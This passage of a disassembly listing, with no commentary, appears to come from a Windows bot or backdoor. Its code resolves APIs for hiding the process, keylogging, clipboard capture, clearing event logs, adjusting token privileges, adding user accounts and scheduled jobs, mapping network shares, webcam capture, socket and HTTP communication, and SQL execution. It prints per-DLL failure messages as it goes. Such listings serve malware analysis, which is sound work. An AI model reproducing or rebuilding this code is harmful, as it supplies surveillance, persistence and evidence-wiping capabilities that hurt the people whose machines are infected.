jz short loc_409A07
cmp dword_4CBA34, ebx
jz short loc_409A07
cmp dword_4CBA90, ebx
jz short loc_409A07
cmp dword_4CB8F4, ebx
jz short loc_409A07
cmp eax, ebx
jnz short loc_409A11
loc_409A07: ; CODE XREF: sub_409909+B8j
; sub_409909+C0j ...
mov dword_4CBA94, 1
loc_409A11: ; CODE XREF: sub_409909+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi
cmp eax, ebx
mov dword_4CBA0C, eax
jz short loc_409A3E
push 1
push ebx
call eax
jmp short loc_409A3E
; ---------------------------------------------------------------------------
loc_409A29: ; CODE XREF: sub_409909+1Dj
call near ptr 26C0CC8h
nop
mov dword_4CBA98, eax
mov dword_4CBA94, 1
loc_409A3E: ; CODE XREF: sub_409909+117j
; sub_409909+11Ej
push offset aUser32_dll ; "user32.dll"
nop
call near ptr 26E0C7Eh
mov edi, eax
cmp edi, ebx
jz loc_409B53
push offset aSendmessagea ; "SendMessageA"
push edi
call esi
push offset aFindwindowa ; "FindWindowA"
push edi
mov dword_4CBA30, eax
call esi
push offset aIswindow ; "IsWindow"
push edi
mov dword_4CB9E0, eax
call esi
push offset aDestroywindow ; "DestroyWindow"
push edi
mov dword_4CB974, eax
call esi
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov dword_4CBA84, eax
call esi
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov dword_4CB9A4, eax
call esi
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov dword_4CB9C4, eax
call esi
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov dword_4CBA28, eax
call esi
cmp dword_4CBA30, ebx
mov dword_4CB914, eax
jz short loc_409AF7
cmp dword_4CB9E0, ebx
jz short loc_409AF7
cmp dword_4CB974, ebx
jz short loc_409AF7
cmp dword_4CBA84, ebx
jz short loc_409AF7
cmp dword_4CB9A4, ebx
jz short loc_409AF7
cmp dword_4CB9C4, ebx
jz short loc_409AF7
cmp dword_4CBA28, ebx
jz short loc_409AF7
cmp eax, ebx
jnz short loc_409B01
loc_409AF7: ; CODE XREF: sub_409909+1B8j
; sub_409909+1C0j ...
mov dword_4CBA9C, 1
loc_409B01: ; CODE XREF: sub_409909+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi
push offset aGetkeystate ; "GetKeyState"
push edi
mov dword_4CB9A0, eax
call esi
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov dword_4CB8A8, eax
call esi
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov dword_4CB970, eax
call esi
cmp dword_4CB9A0, ebx
mov dword_4CB958, eax
jz short loc_409B5E
cmp dword_4CB8A8, ebx
jz short loc_409B5E
cmp dword_4CB970, ebx
jz short loc_409B5E
cmp eax, ebx
jnz short loc_409B68
jmp short loc_409B5E
; ---------------------------------------------------------------------------
loc_409B53: ; CODE XREF: sub_409909+144j
call near ptr 26C0CC8h
nop
mov dword_4CBAA0, eax
loc_409B5E: ; CODE XREF: sub_409909+232j
; sub_409909+23Aj ...
mov dword_4CBA9C, 1
loc_409B68: ; CODE XREF: sub_409909+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_409D21
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov dword_4CBA44, eax
call esi
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov dword_4CB988, eax
call esi
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov dword_4CB9F8, eax
call esi
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov dword_4CB8D4, eax
call esi
push offset aRegclosekey ; "RegCloseKey"
push edi
mov dword_4CB938, eax
call esi
push offset aOpeneventloga ; "OpenEventLogA"
push edi
mov dword_4CB9B0, eax
call esi
push offset aCleareventloga ; "ClearEventLogA"
push edi
mov dword_4CB954, eax
call esi
cmp dword_4CBA44, ebx
mov dword_4CB964, eax
jz short loc_409C11
cmp dword_4CB988, ebx
jz short loc_409C11
cmp dword_4CB9F8, ebx
jz short loc_409C11
cmp dword_4CB8D4, ebx
jz short loc_409C11
cmp dword_4CB938, ebx
jz short loc_409C11
cmp dword_4CB9B0, ebx
jnz short loc_409C1B
loc_409C11: ; CODE XREF: sub_409909+2DEj
; sub_409909+2E6j ...
mov dword_4CBAA4, 1
loc_409C1B: ; CODE XREF: sub_409909+306j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov dword_4CB9B8, eax
call esi
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov dword_4CB990, eax
call esi
cmp dword_4CB9B8, ebx
mov dword_4CBA40, eax
jz short loc_409C56
cmp dword_4CB990, ebx
jz short loc_409C56
cmp eax, ebx
jnz short loc_409C60
loc_409C56: ; CODE XREF: sub_409909+33Fj
; sub_409909+347j
mov dword_4CBAA4, 1
loc_409C60: ; CODE XREF: sub_409909+34Bj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi
push offset aOpenservicea ; "OpenServiceA"
push edi
mov dword_4CB9C8, eax
call esi
push offset aStartservicea ; "StartServiceA"
push edi
mov dword_4CB8B0, eax
call esi
push offset aControlservice ; "ControlService"
push edi
mov dword_4CB8B8, eax
call esi
push offset aDeleteservice ; "DeleteService"
push edi
mov dword_4CB91C, eax
call esi
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov dword_4CB920, eax
call esi
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov dword_4CB8CC, eax
call esi
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov dword_4CB994, eax
call esi
cmp dword_4CB9C8, ebx
mov dword_4CB8BC, eax
jz short loc_409D04
cmp dword_4CB8B0, ebx
jz short loc_409D04
cmp dword_4CB8B8, ebx
jz short loc_409D04
cmp dword_4CB91C, ebx
jz short loc_409D04
cmp dword_4CB920, ebx
jz short loc_409D04
cmp dword_4CB8CC, ebx
jz short loc_409D04
cmp dword_4CB994, ebx
jz short loc_409D04
cmp eax, ebx
jnz short loc_409D0E
loc_409D04: ; CODE XREF: sub_409909+3C5j
; sub_409909+3CDj ...
mov dword_4CBAA4, 1
loc_409D0E: ; CODE XREF: sub_409909+3F9j
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi
cmp eax, ebx
mov dword_4CB8B4, eax
jnz short loc_409D36
jmp short loc_409D2C
; ---------------------------------------------------------------------------
loc_409D21: ; CODE XREF: sub_409909+26Aj
nop
call near ptr 26C0CC8h
mov dword_4CBAA8, eax
loc_409D2C: ; CODE XREF: sub_409909+416j
mov dword_4CBAA4, 1
loc_409D36: ; CODE XREF: sub_409909+414j
push offset aGdi32_dll ; "gdi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_409E02
push offset aCreatedca ; "CreateDCA"
push edi
call esi
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov dword_4CB9C0, eax
call esi
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov dword_4CBA18, eax
call esi
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov dword_4CBA20, eax
call esi
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov dword_4CB9DC, eax
call esi
push offset aSelectobject ; "SelectObject"
push edi
mov dword_4CB8F8, eax
call esi
push offset aBitblt ; "BitBlt"
push edi
mov dword_4CB8A4, eax
call esi
push offset aDeletedc ; "DeleteDC"
push edi
mov dword_4CBA1C, eax
call esi
push offset aDeleteobject ; "DeleteObject"
push edi
mov dword_4CB890, eax
call esi
cmp dword_4CB9C0, ebx
mov dword_4CB930, eax
jz short loc_409E0D
cmp dword_4CBA18, ebx
jz short loc_409E0D
cmp dword_4CBA20, ebx
jz short loc_409E0D
cmp dword_4CB9DC, ebx
jz short loc_409E0D
cmp dword_4CB8F8, ebx
jz short loc_409E0D
cmp dword_4CB8A4, ebx
jz short loc_409E0D
cmp dword_4CBA1C, ebx
jz short loc_409E0D
cmp dword_4CB890, ebx
jz short loc_409E0D
cmp eax, ebx
jnz short loc_409E17
jmp short loc_409E0D
; ---------------------------------------------------------------------------
loc_409E02: ; CODE XREF: sub_409909+438j
call near ptr 26C0CC8h
nop
mov dword_4CBAB0, eax
loc_409E0D: ; CODE XREF: sub_409909+4B9j
; sub_409909+4C1j ...
mov dword_4CBAAC, 1
loc_409E17: ; CODE XREF: sub_409909+4F5j
mov ebp, dword_4270C0
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A0D3
push offset aWsastartup ; "WSAStartup"
push edi
call esi
push offset aWsasocketa ; "WSASocketA"
push edi
mov dword_4CB944, eax
call esi
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov dword_4CBA78, eax
call esi
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov dword_4CB8E4, eax
call esi
push offset aWsaioctl ; "WSAIoctl"
push edi
mov dword_4CB8C0, eax
call esi
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov dword_4CB980, eax
call esi
push offset aWsacleanup ; "WSACleanup"
push edi
mov dword_4CB968, eax
call esi
push offset aSocket ; "socket"
push edi
mov dword_4CB92C, eax
call esi
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov dword_4CBA54, eax
call esi
push offset aConnect ; "connect"
push edi
mov dword_4CBA70, eax
call esi
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov dword_4CB97C, eax
call esi
push offset aInet_addr ; "inet_addr"
push edi
mov dword_4CBA60, eax
call esi
push offset aHtons ; "htons"
push edi
mov dword_4CBA14, eax
call esi
push offset aHtonl ; "htonl"
push edi
mov dword_4CB9D4, eax
call esi
push offset aNtohs ; "ntohs"
push edi
mov dword_4CB9D0, eax
call esi
push offset aNtohl ; "ntohl"
push edi
mov dword_4CB904, eax
call esi
push offset aSend ; "send"
push edi
mov dword_4CB8FC, eax
call esi
push offset aSendto ; "sendto"
push edi
mov dword_4CBA24, eax
call esi
push offset aRecv ; "recv"
push edi
mov dword_4CBA38, eax
call esi
push offset aRecvfrom ; "recvfrom"
push edi
mov dword_4CB9EC, eax
call esi
mov dword_4CB9AC, eax
push offset aBind ; "bind"
push edi
call esi
push offset aSelect ; "select"
push edi
mov dword_4CBA00, eax
call esi
push offset aListen ; "listen"
push edi
mov dword_4CB9BC, eax
call esi
push offset aAccept ; "accept"
push edi
mov dword_4CB9FC, eax
call esi
push offset aSetsockopt ; "setsockopt"
push edi
mov dword_4CBA68, eax
call esi
push offset aGetsockname ; "getsockname"
push edi
mov dword_4CB9B4, eax
call esi
push offset aGethostname ; "gethostname"
push edi
mov dword_4CB978, eax
call esi
push offset aGethostbyname ; "gethostbyname"
push edi
mov dword_4CB9E8, eax
call esi
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov dword_4CBA58, eax
call esi
push offset aGetpeername ; "getpeername"
push edi
mov dword_4CB98C, eax
call esi
push offset aClosesocket ; "closesocket"
push edi
mov dword_4CB928, eax
call esi
cmp dword_4CB944, ebx
mov dword_4CBA6C, eax
jz loc_40A0DE
cmp dword_4CBA78, ebx
jz loc_40A0DE
cmp dword_4CB8E4, ebx
jz loc_40A0DE
cmp dword_4CB980, ebx
jz loc_40A0DE
cmp dword_4CB968, ebx
jz loc_40A0DE
cmp dword_4CB92C, ebx
jz loc_40A0DE
cmp dword_4CBA54, ebx
jz loc_40A0DE
cmp dword_4CBA70, ebx
jz loc_40A0DE
cmp dword_4CB97C, ebx
jz loc_40A0DE
cmp dword_4CBA60, ebx
jz loc_40A0DE
cmp dword_4CBA14, ebx
jz loc_40A0DE
cmp dword_4CB9D4, ebx
jz loc_40A0DE
cmp dword_4CB9D0, ebx
jz loc_40A0DE
cmp dword_4CB904, ebx
jz short loc_40A0DE
cmp dword_4CBA24, ebx
jz short loc_40A0DE
cmp dword_4CBA38, ebx
jz short loc_40A0DE
cmp dword_4CB9EC, ebx
jz short loc_40A0DE
cmp dword_4CB9AC, ebx
jz short loc_40A0DE
cmp dword_4CBA00, ebx
jz short loc_40A0DE
cmp dword_4CB9BC, ebx
jz short loc_40A0DE
cmp dword_4CB9FC, ebx
jz short loc_40A0DE
cmp dword_4CBA68, ebx
jz short loc_40A0DE
cmp dword_4CB9B4, ebx
jz short loc_40A0DE
cmp dword_4CB978, ebx
jz short loc_40A0DE
cmp dword_4CB9E8, ebx
jz short loc_40A0DE
cmp dword_4CBA58, ebx
jz short loc_40A0DE
cmp dword_4CB98C, ebx
jz short loc_40A0DE
cmp eax, ebx
jnz short loc_40A0E8
jmp short loc_40A0DE
; ---------------------------------------------------------------------------
loc_40A0D3: ; CODE XREF: sub_409909+51Fj
call near ptr 26C0CC8h
nop
mov dword_4CBAB8, eax
loc_40A0DE: ; CODE XREF: sub_409909+6BEj
; sub_409909+6CAj ...
mov dword_4CBAB4, 1
loc_40A0E8: ; CODE XREF: sub_409909+7C6j
push offset aWininet_dll ; "wininet.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A1ED
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov dword_4CB910, eax
call esi
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov dword_4CB898, eax
call esi
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov dword_4CB99C, eax
call esi
push offset aInternetconnec ; "InternetConnectA"
push edi
mov dword_4CB948, eax
call esi
push offset aInternetopena ; "InternetOpenA"
push edi
mov dword_4CB9A8, eax
call esi
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov dword_4CB96C, eax
call esi
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov dword_4CB8D8, eax
call esi
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov dword_4CB8D0, eax
call esi
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov dword_4CB8E0, eax
call esi
cmp dword_4CB910, ebx
mov ecx, dword_4CB96C
mov dword_4CBA08, eax
jz short loc_40A1C9
cmp dword_4CB898, ebx
jz short loc_40A1C9
cmp dword_4CB99C, ebx
jz short loc_40A1C9
cmp dword_4CB948, ebx
jz short loc_40A1C9
cmp dword_4CB9A8, ebx
jz short loc_40A1C9
cmp ecx, ebx
jz short loc_40A1C9
cmp dword_4CB8D8, ebx
jz short loc_40A1C9
cmp dword_4CB8D0, ebx
jz short loc_40A1C9
cmp dword_4CB8E0, ebx
jz short loc_40A1C9
cmp eax, ebx
jnz short loc_40A1D3
loc_40A1C9: ; CODE XREF: sub_409909+87Ej
; sub_409909+886j ...
mov dword_4CBABC, 1
loc_40A1D3: ; CODE XREF: sub_409909+8BEj
cmp ecx, ebx
jz short loc_40A208
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx
cmp eax, ebx
mov dword_4CB984, eax
jnz short loc_40A208
jmp short loc_40A202
; ---------------------------------------------------------------------------
loc_40A1ED: ; CODE XREF: sub_409909+7EAj
nop
call near ptr 26C0CC8h
mov dword_4CBAC0, eax
mov dword_4CBABC, 1
loc_40A202: ; CODE XREF: sub_409909+8E2j
mov dword_4CB984, ebx
loc_40A208: ; CODE XREF: sub_409909+8CCj
; sub_409909+8E0j
push offset aIcmp_dll ; "icmp.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A252
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov dword_4CB95C, eax
call esi
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov dword_4CBA8C, eax
call esi
cmp dword_4CB95C, ebx
mov dword_4CB8EC, eax
jz short loc_40A25D
cmp dword_4CBA8C, ebx
jz short loc_40A25D
cmp eax, ebx
jnz short loc_40A267
jmp short loc_40A25D
; ---------------------------------------------------------------------------
loc_40A252: ; CODE XREF: sub_409909+90Aj
nop
call near ptr 26C0CC8h
mov dword_4CBAC8, eax
loc_40A25D: ; CODE XREF: sub_409909+939j
; sub_409909+941j ...
mov dword_4CBAC4, 1
loc_40A267: ; CODE XREF: sub_409909+945j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A36E
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi
push offset aNetsharedel ; "NetShareDel"
push edi
mov dword_4CB8C8, eax
call esi
push offset aNetshareenum ; "NetShareEnum"
push edi
mov dword_4CB8A0, eax
call esi
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov dword_4CB918, eax
call esi
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov dword_4CB94C, eax
call esi
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov dword_4CBA64, eax
call esi
push offset aNetuseradd ; "NetUserAdd"
push edi
mov dword_4CB900, eax
call esi
push offset aNetuserdel ; "NetUserDel"
push edi
mov dword_4CB8AC, eax
call esi
push offset aNetuserenum ; "NetUserEnum"
push edi
mov dword_4CB89C, eax
call esi
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov dword_4CB934, eax
call esi
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov dword_4CBA2C, eax
call esi
push offset aNetwkstagetinf ; "NetWkstaGetInfo"
push edi
mov dword_4CB9E4, eax
call esi
cmp dword_4CB8C8, ebx
mov dword_4CB908, eax
jz short loc_40A379
cmp dword_4CB8A0, ebx
jz short loc_40A379
cmp dword_4CB918, ebx
jz short loc_40A379
cmp dword_4CB94C, ebx
jz short loc_40A379
cmp dword_4CBA64, ebx
jz short loc_40A379
cmp dword_4CB900, ebx
jz short loc_40A379
cmp dword_4CB8AC, ebx
jz short loc_40A379
cmp dword_4CB89C, ebx
jz short loc_40A379
cmp dword_4CB934, ebx
jz short loc_40A379
cmp dword_4CBA2C, ebx
jz short loc_40A379
cmp dword_4CB9E4, ebx
jnz short loc_40A383
jmp short loc_40A379
; ---------------------------------------------------------------------------
loc_40A36E: ; CODE XREF: sub_409909+969j
call near ptr 26C0CC8h
nop
mov dword_4CBAD0, eax
loc_40A379: ; CODE XREF: sub_409909+A11j
; sub_409909+A19j ...
mov dword_4CBACC, 1
loc_40A383: ; CODE XREF: sub_409909+A61j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A3B8
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov dword_4CB8F0, eax
call esi
cmp dword_4CB8F0, ebx
mov dword_4CB9CC, eax
jz short loc_40A3C3
cmp eax, ebx
jnz short loc_40A3CD
jmp short loc_40A3C3
; ---------------------------------------------------------------------------
loc_40A3B8: ; CODE XREF: sub_409909+A85j
nop
call near ptr 26C0CC8h
mov dword_4CBAD8, eax
loc_40A3C3: ; CODE XREF: sub_409909+AA7j
; sub_409909+AADj
mov dword_4CBAD4, 1
loc_40A3CD: ; CODE XREF: sub_409909+AABj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A402
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov dword_4CBA50, eax
call esi
cmp dword_4CBA50, ebx
mov dword_4CBA4C, eax
jz short loc_40A40D
cmp eax, ebx
jnz short loc_40A417
jmp short loc_40A40D
; ---------------------------------------------------------------------------
loc_40A402: ; CODE XREF: sub_409909+ACFj
nop
call near ptr 26C0CC8h
mov dword_4CBAE0, eax
loc_40A40D: ; CODE XREF: sub_409909+AF1j
; sub_409909+AF7j
mov dword_4CBADC, 1
loc_40A417: ; CODE XREF: sub_409909+AF5j
push offset aMpr_dll ; "mpr.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A476
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov dword_4CBA7C, eax
call esi
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov dword_4CBA74, eax
call esi
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov dword_4CBA3C, eax
call esi
cmp dword_4CBA7C, ebx
mov dword_4CB90C, eax
jz short loc_40A481
cmp dword_4CBA74, ebx
jz short loc_40A481
cmp dword_4CBA3C, ebx
jz short loc_40A481
cmp eax, ebx
jnz short loc_40A48B
jmp short loc_40A481
; ---------------------------------------------------------------------------
loc_40A476: ; CODE XREF: sub_409909+B19j
nop
call near ptr 26C0CC8h
mov dword_4CBAE8, eax
loc_40A481: ; CODE XREF: sub_409909+B55j
; sub_409909+B5Dj ...
mov dword_4CBAE4, 1
loc_40A48B: ; CODE XREF: sub_409909+B69j
push offset aShell32_dll ; "shell32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A4C0
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov dword_4CB940, eax
call esi
cmp dword_4CB940, ebx
mov dword_4CBA48, eax
jz short loc_40A4CB
cmp eax, ebx
jnz short loc_40A4D5
jmp short loc_40A4CB
; ---------------------------------------------------------------------------
loc_40A4C0: ; CODE XREF: sub_409909+B8Dj
call near ptr 26C0CC8h
nop
mov dword_4CBAF0, eax
loc_40A4CB: ; CODE XREF: sub_409909+BAFj
; sub_409909+BB5j
mov dword_4CBAEC, 1
loc_40A4D5: ; CODE XREF: sub_409909+BB3j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A55E
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov dword_4CBA10, eax
call esi
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov dword_4CBA5C, eax
call esi
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov dword_4CB998, eax
call esi
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov dword_4CB950, eax
call esi
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov dword_4CB9F0, eax
call esi
cmp dword_4CBA10, ebx
mov dword_4CB960, eax
jz short loc_40A569
cmp dword_4CBA5C, ebx
jz short loc_40A569
cmp dword_4CB998, ebx
jz short loc_40A569
cmp dword_4CB950, ebx
jz short loc_40A569
cmp dword_4CB9F0, ebx
jz short loc_40A569
cmp eax, ebx
jnz short loc_40A573
jmp short loc_40A569
; ---------------------------------------------------------------------------
loc_40A55E: ; CODE XREF: sub_409909+BD7j
nop
call near ptr 26C0CC8h
mov dword_4CBAF8, eax
loc_40A569: ; CODE XREF: sub_409909+C2Dj
; sub_409909+C35j ...
mov dword_4CBAF4, 1
loc_40A573: ; CODE XREF: sub_409909+C51j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A5A8
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
mov dword_4CB924, eax
call esi
cmp dword_4CB924, ebx
mov dword_4CBA04, eax
jz short loc_40A5B3
cmp eax, ebx
jnz short loc_40A5BD
jmp short loc_40A5B3
; ---------------------------------------------------------------------------
loc_40A5A8: ; CODE XREF: sub_409909+C75j
nop
call near ptr 26C0CC8h
mov dword_4CBB00, eax
loc_40A5B3: ; CODE XREF: sub_409909+C97j
; sub_409909+C9Dj
mov dword_4CBAFC, 1
loc_40A5BD: ; CODE XREF: sub_409909+C9Bj
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
retn
sub_409909 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A5C5 proc near ; CODE XREF: sub_401ACD+2511p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+arg_4]
push esi
xor esi, esi
cmp dword_4CBA94, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_40A60D
push dword_4CBA98
lea eax, [ebp+var_200]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A60D: ; CODE XREF: sub_40A5C5+1Aj
cmp dword_4CBA9C, esi
jz short loc_40A641
push dword_4CBAA0
lea eax, [ebp+var_200]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A641: ; CODE XREF: sub_40A5C5+4Ej
cmp dword_4CBAA4, esi
jz short loc_40A675
push dword_4CBAA8
lea eax, [ebp+var_200]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A675: ; CODE XREF: sub_40A5C5+82j
cmp dword_4CBAAC, esi
jz short loc_40A6A9
push dword_4CBAB0
lea eax, [ebp+var_200]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A6A9: ; CODE XREF: sub_40A5C5+B6j
cmp dword_4CBAB4, esi
jz short loc_40A6DD
push dword_4CBAB8
lea eax, [ebp+var_200]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A6DD: ; CODE XREF: sub_40A5C5+EAj
cmp dword_4CBABC, esi
jz short loc_40A711
push dword_4CBAC0
lea eax, [ebp+var_200]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A711: ; CODE XREF: sub_40A5C5+11Ej
cmp dword_4CBAC4, esi
jz short loc_40A745
push dword_4CBAC8
lea eax, [ebp+var_200]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A745: ; CODE XREF: sub_40A5C5+152j
cmp dword_4CBACC, esi
jz short loc_40A779
push dword_4CBAD0
lea eax, [ebp+var_200]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A779: ; CODE XREF: sub_40A5C5+186j
cmp dword_4CBAD4, esi
jz short loc_40A7AD
push dword_4CBAD8
lea eax, [ebp+var_200]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A7AD: ; CODE XREF: sub_40A5C5+1BAj
cmp dword_4CBADC, esi
jz short loc_40A7E1
push dword_4CBAE0
lea eax, [ebp+var_200]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A7E1: ; CODE XREF: sub_40A5C5+1EEj
cmp dword_4CBAE4, esi
jz short loc_40A815
push dword_4CBAE8
lea eax, [ebp+var_200]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A815: ; CODE XREF: sub_40A5C5+222j
cmp dword_4CBAEC, esi
jz short loc_40A849
push dword_4CBAF0
lea eax, [ebp+var_200]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A849: ; CODE XREF: sub_40A5C5+256j
cmp dword_4CBAF4, esi
jz short loc_40A87D
push dword_4CBAF8
lea eax, [ebp+var_200]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A87D: ; CODE XREF: sub_40A5C5+28Aj
cmp dword_4CBAFC, esi
jz short loc_40A8B1
push dword_4CBB00
lea eax, [ebp+var_200]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax
loc_40A897: ; DATA XREF: ___:0043320Co
; ___:00433250o ...
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A8B1: ; CODE XREF: sub_40A5C5+2BEj
lea eax, [ebp+var_200]
push offset unk_42D6C4
push eax
call sub_41C266
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_40A8DE
push esi
lea eax, [ebp+var_200]
